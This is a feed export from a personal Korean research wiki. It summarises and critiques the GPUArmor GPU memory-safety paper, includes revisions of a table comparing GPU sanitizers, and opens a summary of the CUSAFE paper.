GPUArmor의 출발점은 GPU에서는 CPU와 같은 cost model이 성립하지 않을 수 있다는 점이다. 논문은 real-world GPU kernel 28개를 분석하여 global memory access가 전체 dynamic instruction의 평균 6% 정도이고, shared memory도 평균 6% 정도이며, local memory access는 관측되지 않았다고 보고한다. GPU는 warp scheduling으로 long-latency memory operation을 숨기는 데 강하고, allocation size는 대체로 크지만 active allocation working set은 작다. 따라서 metadata lookup을 매 access마다 절대적으로 O(1)로 만들기보다, 작은 cache로 대부분의 lookup을 처리하고 compact metadata structure를 쓰는 쪽이 GPU에 더 맞을 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
=== Observations ===&lt;br /&gt;
본 연구는 다음과 같은 특징을 고려해야 효율적인 Sanitizer를 디자인 할 수 있다고 주장한다.&lt;br /&gt;
# GPU의 메모리 접근은 CPU보다 Pressure가 낮으며, Local memory (stack 할당)은 거의 없는 수준이다. 또한 Global memory access가 Shared memory access보다 작다.&lt;br /&gt;
# GPU의 워크로드들은 대부분 병령 처리 되기 떄문에 Memory access checking의 Latency가 크더라도 Hiding된다.&lt;br /&gt;
# GPU의 메모리 크기는 보통 CPU보다 작다. (HMM은 제외하였을 경우)&lt;br /&gt;
# GPU의 Allocation size는 대부분 크다. 예를 들어서 CUDA Memory allocation은 적어도 256B의 정렬을 요구한다.&lt;br /&gt;
# Live allocation의 개수-즉 특정 시점에 동시에 접근 할 수 있는 allocation의 개수-는 병렬 처리의 특징으로 인해 CPU workload보다 크다.&lt;br /&gt;
# Working set크기-즉 특정 시점에 반복적으로 접근하는 메모리의 크기-는 작은 경우가 대부분이다.&lt;br /&gt;
&lt;br /&gt;
=== Ramification ===&lt;br /&gt;
위의 Observation결과에 따라 다음과 같은 GPU Sanitizer의 요구사항이 정해진다.&lt;br /&gt;
# Observation 1-2: 생각보다 memory instrumentation체크에 걸리는 시간이 CPU workload만큼 중요하지는 않다. 또한 stack allocation에 걸리는 시간이 길더라도 전체 실행시간에는 큰 영향을 주지 않는다.&lt;br /&gt;
# Ober&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
핵심 아이디어는 GPU kernel이 동시에 접근할 수 있는 전체 live allocation 수는 많아도, 실제 실행 중 짧은 구간에서 반복적으로 접근하는 allocation working set은 작다는 관찰을 이용해 allocation metadata lookup을 작은 per-SM cache로 처리하는 것이다. 이렇게 하면 metadata table 자체는 direct-addressing table처럼 memory footprint에 비례해 커질 필요가 없고, linked list나 binary search tree처럼 compact한 per-allocation metadata structure를 쓸 수 있다.&lt;br /&gt;
&lt;br /&gt;
GPUArmor는 allocation마다 base, size, tag를 별도 metadata structure에 저장한다. Compiler는 memory access의 root pointer를 찾아 LOADMETA를 삽입하고, 실제 global/shared memory access 앞에는 MEMCHECK를 삽입한다. Hardware는 LOADMETA/MEMCHECK를 처리하면서 Metadata Loading Unit과 Metadata Lookaside Buffer를 통해 최근 allocation metadata를 재사용한다.&lt;br /&gt;
&lt;br /&gt;
이 설계의 관점에서 metadata lookup latency는 모든 memory access의 critical bottleneck이 아니라 compulsory miss에 주로 남는 비용이 된다. 따라서 GPUArmor는 [[Base and bounds]] checking과 [[Memory tagging]]의 장점을 결합하면서도 cuCatch식 direct metadata table의 12.5% storage overhead를 피한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
&lt;br /&gt;
# Workload characterization 기반 설계&lt;br /&gt;
#: GPUArmor는 28개 CUDA kernel을 분석해 memory-safety design에 필요한 여섯 가지 관찰을 만든다. Global/shared memory access는 CPU workload보다 적고, local memory는 거의 쓰이지 않으며, GPU는 long-latency memory operation을 hide할 수 있다. 반면 GPU memory capacity는 제한적이므로 memory footprint에 비례하는 metadata는 부담이 된다. Allocation size는 대체로 크므로 per-allocation constant metadata는 상대적으로 싸고, live allocation 수는 1000개를 넘을 수 있지만 active allocation working set은 모든 평가 workload에서 8개 미만이다.&lt;br /&gt;
&lt;br /&gt;
# Metadata lifecycle&lt;br /&gt;
#: Allocation 생성 시 runtime wrapper가 base address, size, random tag를 metadata structure에 저장하고, tag를 pointer upper bits에 넣은 tagged pointer를 application에 돌려준다. Metadata structure는 linked list, balanced binary search tree, hypothetical speed-of-light table을 평가한다. Linked list와 binary tree는 allocation당 32 byte node를 사용하며, 그중 16 byte는 base/size/tag metadata이고 나머지는 pointer field이다.&lt;br /&gt;
#: Free 시에는 metadata entry를 즉시 제거하지 않고 tag를 reserved value로 바꾼다. 이 방식은 dangling pointer의 tag와 metadata tag가 mismatch되도록 만들어 immediate [[Use-after-free]]를 잡는다. 삭제 entry를 남기는 선택은 concurrent kernel이 metadata structure를 traverse 중일 수 있다는 GPU execution model에도 맞는다.&lt;br /&gt;
&lt;br /&gt;
# ISA extension&lt;br /&gt;
#: GPUArmor는 세 개의 instruction을 추가한다. `LOADMETA`는 compiler가 찾은 root pointer를 key로 metadata structure를 traverse하고 metadata location을 반환하며 MLB를 채운다. `MEMCHECK.G`는 global memory address와 metadata pointer를 받아 base/bounds/tag를 검사하고, check를 통과하면 upper tag bit를 clear한 address를 반환한다. `MEMCHECK.S`는 shared memory address에 대해 compile-time에 알 수 있는 base/size로 bounds check를 수행한다.&lt;br /&gt;
&lt;br /&gt;
# Metadata Loading Unit와 Metadata Lookaside Buffer&lt;br /&gt;
#: Metadata Loading Unit(MLU)은 Load/Store Unit 근처에 위치하며, metadata structure traversal을 담당하는 FSM과 Metadata Lookaside Buffer(MLB)를 포함한다. LOADMETA에서는 MLB가 input address를 포함하는 allocation range를 찾으면 metadata location을 바로 반환하고, miss일 때만 FSM이 linked list 또는 binary tree를 traverse한다. MEMCHECK에서는 metadata location으로 MLB를 찾고, miss일 때 metadata를 cache hierarchy에서 가져온다.&lt;br /&gt;
#: 논문이 사용하는 기본 설계는 per-SM 8-entry MLB이다. 각 entry는 16 byte metadata와 8 byte metadata location을 담는다. 이 구조가 충분한 이유는 평가 workload의 allocation working set이 8개 미만이기 때문이다.&lt;br /&gt;
&lt;br /&gt;
# Compiler support&lt;br /&gt;
#: Compiler pass는 ptxas backend에 구현되어 global/shared memory access 앞에 MEMCHECK를 넣고, object당 한 번 LOADMETA를 넣는다. Root pointer analysis는 cuCatch의 intra-procedural reaching-definition 기반 분석을 따르며, pointer arithmetic을 거슬러 올라가 object의 root pointer 또는 적어도 checked address와 다른 intermediate pointer를 찾는다. 이 방식은 memory access마다 metadata를 다시 load하지 않고 root pointer 단위로 metadata pointer를 propagate한다.&lt;br /&gt;
&lt;br /&gt;
# Runtime support&lt;br /&gt;
#: Runtime은 `cudaMalloc`, `cudaFree` 같은 CUDA global memory management API를 wrapper로 감싼다. Allocation 시 size/base/tag를 기록하고 tagged pointer를 반환하며, free 시 reserved tag로 metadata를 갱신한다. 논문은 allocation/free 수가 적기 때문에 runtime metadata management overhead는 negligible하다고 본다.&lt;br /&gt;
&lt;br /&gt;
# Binary compatibility와 HWOnly mode&lt;br /&gt;
#: GPUArmor는 non-zero tag가 붙은 pointer에만 metadata retrieval과 check를 수행하고, memory hierarchy에 request를 보내기 전 tag bit를 mask한다. 이는 ARM TBI, Intel LAM, AMD UAI와 유사한 upper-address-bit 무시 기능을 전제로 한다.&lt;br /&gt;
#: Recompilation이 불가능한 third-party library에는 GPUArmor-HWOnly mode를 제안한다. 이 모드에서는 compiler instrumentation 없이 hardware가 모든 memory instruction에서 metadata를 fetch/check하며, coverage는 memory tagging과 유사하게 probabilistic해지지만 per-allocation metadata 덕분에 LAK 같은 per-granule tag storage보다 memory overhead가 작다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&lt;br /&gt;
평가는 NVIDIA GA100에서 trace를 수집하고 NVIDIA Architectural Simulator(NVAS)로 GA100을 simulation하여 수행한다. 주요 workload는 NVIDIA 내부 product group이 architecture design에 사용하는 28개 real-world CUDA kernel이며, scientific computing, commercial 5G decoding, visualization workload를 포함한다.&lt;br /&gt;
&lt;br /&gt;
# Metadata structure 단독 비용&lt;br /&gt;
#: MLB 없이 metadata structure만 비교하면 linked list는 평균 2x, 최대 22x overhead를 낸다. Binary search tree는 평균 10%, 최대 80% overhead로 줄지만 large allocation count workload에서는 여전히 traversal latency가 크다. Hypothetical speed-of-light table은 O(1) lookup으로 평균 1.4% overhead를 보인다.&lt;br /&gt;
&lt;br /&gt;
# 8-entry MLB 효과&lt;br /&gt;
#: 8-entry MLB를 넣으면 metadata traversal 비용이 대부분 사라진다. Binary search tree + 8-entry MLB는 평균 약 2% 수준의 runtime overhead를 보이며, 논문 결론에서는 base-and-bounds coverage를 2.3% average slowdown으로 달성한다고 요약한다. Linked list도 8-entry MLB가 있으면 평균 7% 수준까지 내려가며, SoL table은 약 1% 수준이다. 이 결과는 MLB가 underlying metadata structure의 asymptotic lookup cost를 대부분 capacity-hit case에서 지운다는 주장과 연결된다.&lt;br /&gt;
&lt;br /&gt;
# MLB size sensitivity&lt;br /&gt;
#: MLB entry 수를 0, 1, 2, 4, 8, 16으로 바꿔 평가했을 때 overhead는 8-entry 이후 거의 saturate된다. 이는 characterization에서 관찰한 &amp;quot;allocation working set &amp;lt; 8&amp;quot;과 직접 대응한다.&lt;br /&gt;
&lt;br /&gt;
# Shared memory protection&lt;br /&gt;
#: Shared memory protection은 metadata load가 필요 없고 bounds-check compute logic만 추가하므로 전체 workload에서 overhead가 0.1% 미만이다.&lt;br /&gt;
&lt;br /&gt;
# Security coverage&lt;br /&gt;
#: GPUArmor는 adjacent OOB와 intra-procedural root pointer analysis 범위 안의 non-adjacent OOB를 100% 검출한다고 보고한다. Inter-scope OOB와 delayed UAF는 57-bit architecture에서 usable tag 126개를 가정할 때 99.2% probabilistic detection으로 처리된다. Immediate UAF는 free 시 reserved tag를 쓰기 때문에 100%로 보고된다. Root pointer analysis coverage는 MEMCHECK.G 기준으로 55.5%가 full base-and-bounds, 36%가 partial base-and-bounds, 8.5%가 memory-tagging 수준으로 분류된다.&lt;br /&gt;
&lt;br /&gt;
# GPUArmor-HWOnly&lt;br /&gt;
#: Recompilation이 없는 HWOnly mode는 8-entry MLB와 binary tree metadata에서 평균 2.2% overhead를 보이며, LAK의 10%보다 낮다. 최대 overhead도 GPUArmor-HWOnly 18.1%, LAK 42.1%로 차이가 난다. Storage overhead는 GPUArmor-HWOnly가 total memory footprint 대비 0.001% 미만이고, LAK는 3.25%로 보고된다. 더 넓은 conventional workload set에서는 8-entry MLB가 평균 6%, 16-entry MLB가 평균 4% 미만 overhead를 보인다.&lt;br /&gt;
&lt;br /&gt;
# Related work와의 비교&lt;br /&gt;
#: cuCatch와 같은 safety guarantee를 비교했을 때, cuCatch는 평균 29% runtime overhead와 12.5% metadata storage overhead를 보인다. GPUArmor는 binary search tree + 8-entry MLB에서 약 2% runtime overhead와 0.0005% storage overhead를 보고한다. AMG_3 사례에서는 GPUArmor가 instruction bloat를 2x 줄이고 register pressure를 1.7x 줄여 baseline과 유사한 SM occupancy를 유지한다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
# Hardware cost&lt;br /&gt;
#: 16-entry MLB는 entry당 24 byte로 약 384 byte per SM이다. 7nm SRAM/comparator/priority logic 구현 가정에서 L1 cache 대비 area overhead는 약 0.2%, per-access energy는 약 5%이다. MLB lookup은 global memory instruction에만 적용되고 이들이 전체 instruction의 약 6%이므로 total GPU power impact는 0.0006% 미만으로 추정된다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
&lt;br /&gt;
# Real-world GPU workload의 memory access, allocation size, live allocation count, allocation working set을 memory-safety 관점에서 정량화하였다.&lt;br /&gt;
# Direct-addressing metadata table이 GPU memory safety의 필수 조건이 아니라는 점을 보이고, 작은 per-SM MLB가 metadata lookup cost를 대부분 제거할 수 있음을 제안하였다.&lt;br /&gt;
# LOADMETA, MEMCHECK.G, MEMCHECK.S instruction과 MLU/MLB hardware, CUDA runtime wrapper, ptxas compiler instrumentation을 결합한 GPUArmor hardware-software co-design을 제시하였다.&lt;br /&gt;
# Base-and-bounds checking에서 평균 2.3% 수준 slowdown과 0.0005% storage overhead를 보이며, cuCatch 대비 runtime/storage overhead를 크게 낮출 수 있음을 평가하였다.&lt;br /&gt;
# Compiler support가 없는 GPUArmor-HWOnly mode를 통해 memory tagging 수준의 probabilistic safety를 낮은 overhead와 per-allocation metadata storage로 제공할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
== Criticisms ==&lt;br /&gt;
=== Major Comments ===&lt;br /&gt;
# Writing quality측면에서 개선될 방향이 존재한다. 예를 들어서 Observations들은 잘 정리되어 있고 휼룡하지만, 서술하는 방식이 개조식으로 서술되어 있었으면 좀더 이해하기 쉬웠을 듯 하다. 예를 들어서 Instruction behavior에 top sentence로 GPU workloads access shared memory much more frequently than global memory compared to CPU-centric workloads. 이런식이였으면 좀더 이해하기 쉬웠을 듯 하다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Minor Comments ===&lt;br /&gt;
# 평가 workload가 NVIDIA 내부 product group kernel 중심이고, simulator와 수정된 ptxas/NVAS에 의존한다. 논문의 artifact나 workload 접근성이 제한된다면 재현성은 약할 수 있다.&lt;br /&gt;
# GPUArmor의 주 coverage는 CUDA memory management API로 생성된 allocation이다. Custom allocator가 큰 allocation을 내부에서 slice하는 경우나 struct/class 내부 field 사이의 sub-object OOB는 잡지 못한다.&lt;br /&gt;
# Root pointer analysis는 intra-procedural이다. CUDA compiler의 aggressive inlining이 도움을 주지만, inter-procedural pointer flow나 복잡한 aliasing에서는 deterministic base-and-bounds coverage가 memory-tagging 수준으로 내려간다.&lt;br /&gt;
# HMM/UVM 지원은 discussion 수준이다. HMM에서는 GPU kernel이 `malloc`/`new` host allocation에 접근할 수 있어 allocation universe가 급격히 커지고, CPU allocation metadata와 GPU check를 어떻게 consistency 있게 연결할지가 아직 prototype에 들어가 있지 않다.&lt;br /&gt;
# Pointer tag를 host와 공유하려면 CPU host가 TBI/LAM/UAI 같은 upper-address-ignore 기능을 지원해야 한다. 그렇지 않으면 HMM/UVM allocation에 대해서는 temporal-safety coverage를 잃을 수 있다.&lt;br /&gt;
# Concurrent metadata update 문제는 완전히 해결되지 않았다. Running kernel이 metadata structure를 traverse하는 동안 `cudaFree`나 HMM allocation update가 일어나는 경우 lock-free structure, atomic synchronization, persistent data structure 같은 추가 설계가 필요하다.&lt;br /&gt;
# Threat model은 device-side memory safety bug와 reliable GPU hardware를 가정하고 side/covert channel은 제외한다. 따라서 GPU isolation attack 전체에 대한 방어로 해석하면 안 된다.&lt;br /&gt;
# Runtime wrapper overhead는 memory management API 자체에 비해 negligible하다고 보고 simulation overhead에 포함하지 않는다. Allocation-intensive workload에서는 이 가정이 별도 검증을 요구할 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
이 연구는 GPU memory safety의 비용을 direct-addressing metadata table의 O(1) lookup 문제로만 보지 않고, GPU workload의 small allocation working set과 latency tolerance를 활용하는 metadata-cache 문제로 바라보게 만든다. GPUArmor는 compiler root pointer analysis, CUDA runtime metadata management, LOADMETA/MEMCHECK ISA, 그리고 작은 per-SM MLB를 결합해 scalable base-and-bounds checking을 평균 2.3% slowdown과 매우 작은 storage overhead로 달성할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
따라서 이 논문은 [[GPU memory safety]], [[CUDA sanitizer]], [[Memory tagging]], [[Base and bounds]] 관련 연구에서 &amp;quot;metadata lookup latency와 metadata storage overhead를 어떻게 동시에 줄일 것인가&amp;quot;를 설명하는 중요한 related-work 지점이다. 특히 HMM/UVM 환경으로 넘어갈 때 GPU-visible object metadata를 CPU/GPU 양쪽에서 어떻게 관리할 것인지에 대한 후속 연구 질문을 남긴다.&lt;br /&gt;
&lt;br /&gt;
[[분류: ACM TACO]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=GPU_Sanitizer&amp;diff=7146</id>
		<title>GPU Sanitizer</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=GPU_Sanitizer&amp;diff=7146"/>
		<updated>2026-07-08T03:03:02Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[index.php?title=분류:GPU 보안]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
본 문서는 여러 GPU Sanitizer들을 다축분석하는 문서이다.&lt;br /&gt;
&lt;br /&gt;
== 요약 ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |UAF&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |OOB&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |Mechanism&lt;br /&gt;
! colspan=&amp;quot;2&amp;quot; |Metadata identity&lt;br /&gt;
! colspan=&amp;quot;2&amp;quot; |Overhead&lt;br /&gt;
! colspan=&amp;quot;4&amp;quot; |Compiler Optimizations&lt;br /&gt;
! colspan=&amp;quot;4&amp;quot; |Runtime Optimizations&lt;br /&gt;
|-&lt;br /&gt;
!Identity&lt;br /&gt;
!Cost&lt;br /&gt;
!Perf&lt;br /&gt;
!Mem&lt;br /&gt;
!Common&lt;br /&gt;
!Local&lt;br /&gt;
!Shared&lt;br /&gt;
!Global&lt;br /&gt;
!Common&lt;br /&gt;
!Local&lt;br /&gt;
!Shared&lt;br /&gt;
!Global&lt;br /&gt;
|-&lt;br /&gt;
|Compute Sanitizer&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Binary&lt;br /&gt;
|Location&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; | -&lt;br /&gt;
|-&lt;br /&gt;
|GMOD&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler&lt;br /&gt;
|Canary&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; | -&lt;br /&gt;
|-&lt;br /&gt;
|CLARMOR&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler&lt;br /&gt;
|Canary&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|GPUShield&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler + HW&lt;br /&gt;
|HW Tag&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|CuCatch&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler&lt;br /&gt;
|Object&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|Metdata hoisting, min/max merging, Loop hoisting, Bound merging&lt;br /&gt;
|&lt;br /&gt;
|Infer base pointer statically&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|Per-thread Metdata&lt;br /&gt;
|Remove metdata fetching&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|CuSafe&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler&lt;br /&gt;
|Object&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|GPU Armor&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler + HW&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== [[CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications|CuCatch]] ==&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=GPU_Sanitizer&amp;diff=7145</id>
		<title>GPU Sanitizer</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=GPU_Sanitizer&amp;diff=7145"/>
		<updated>2026-07-08T02:57:44Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: index.php?title=분류:GPU 보안  == 개요 == 본 문서는 여러 GPU Sanitizer들을 다축분석하는 문서이다.  == 요약 == {| class=&amp;quot;wikitable&amp;quot; |+ ! rowspan=&amp;quot;2&amp;quot; | ! rowspan=&amp;quot;2&amp;quot; |Detection coverage ! rowspan=&amp;quot;2&amp;quot; |Instrumentation ! rowspan=&amp;quot;2&amp;quot; |Metadata identity ! colspan=&amp;quot;4&amp;quot; |Compiler Optimizations ! colspan=&amp;quot;4&amp;quot; |Runtime Optimizations |- !Common !Local !Shared !Global !Common !Local !Shared !Global |- |Compute Sanitizer |GPU UAF/OOB |Binary |Location-based (Redzo...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[index.php?title=분류:GPU 보안]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
본 문서는 여러 GPU Sanitizer들을 다축분석하는 문서이다.&lt;br /&gt;
&lt;br /&gt;
== 요약 ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |Detection&lt;br /&gt;
coverage&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |Instrumentation&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |Metadata identity&lt;br /&gt;
! colspan=&amp;quot;4&amp;quot; |Compiler Optimizations&lt;br /&gt;
! colspan=&amp;quot;4&amp;quot; |Runtime Optimizations&lt;br /&gt;
|-&lt;br /&gt;
!Common&lt;br /&gt;
!Local&lt;br /&gt;
!Shared&lt;br /&gt;
!Global&lt;br /&gt;
!Common&lt;br /&gt;
!Local&lt;br /&gt;
!Shared&lt;br /&gt;
!Global&lt;br /&gt;
|-&lt;br /&gt;
|Compute Sanitizer&lt;br /&gt;
|GPU UAF/OOB&lt;br /&gt;
|Binary&lt;br /&gt;
|Location-based (Redzone)&lt;br /&gt;
|&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; | -&lt;br /&gt;
|-&lt;br /&gt;
|GMOD&lt;br /&gt;
|Global UAF/OOB&lt;br /&gt;
|Compiler&lt;br /&gt;
|Location-based (Canary)&lt;br /&gt;
|&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; | -&lt;br /&gt;
|-&lt;br /&gt;
|CLARMOR&lt;br /&gt;
|GPU UAF/OOB&lt;br /&gt;
|Compiler&lt;br /&gt;
|Location-based (Canary)&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|GPUShield&lt;br /&gt;
|GPU UAF/OOB&lt;br /&gt;
|Compiler + HW&lt;br /&gt;
|Tag-based&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|CuCatch&lt;br /&gt;
|GPU UAF/OOB&lt;br /&gt;
|Compiler&lt;br /&gt;
|Object-identity (Pointer tagging)&lt;br /&gt;
|Metdata hoisting, min/max merging, Loop hoisting, Bound merging&lt;br /&gt;
|&lt;br /&gt;
|Infer base pointer statically&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|Per-thread Metdata&lt;br /&gt;
|Remove metdata fetching&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|CuSafe&lt;br /&gt;
|GPU UAF/OOB&lt;br /&gt;
|Compiler&lt;br /&gt;
|Object-Identity (Pointer tagging)&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|GPU Armor&lt;br /&gt;
|GPU UAF/OOB&lt;br /&gt;
|Compiler + HW&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== [[CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications|CuCatch]] ==&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7144</id>
		<title>CUSAFE: Capturing Memory Corruption on NVIDIA GPUs</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7144"/>
		<updated>2026-07-08T02:46:49Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs&lt;br /&gt;
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo&lt;br /&gt;
|conference=USENIX Security Symposium&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.&lt;br /&gt;
&lt;br /&gt;
기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA &#039;&#039;&#039;compute-sanitizer는 논문 평가에서 평균 15배 slowdown&#039;&#039;&#039;을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.&lt;br /&gt;
&lt;br /&gt;
이를 통해서, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하게 하였다. 또한, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.&lt;br /&gt;
&lt;br /&gt;
Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 문제를 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙혔다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.&lt;br /&gt;
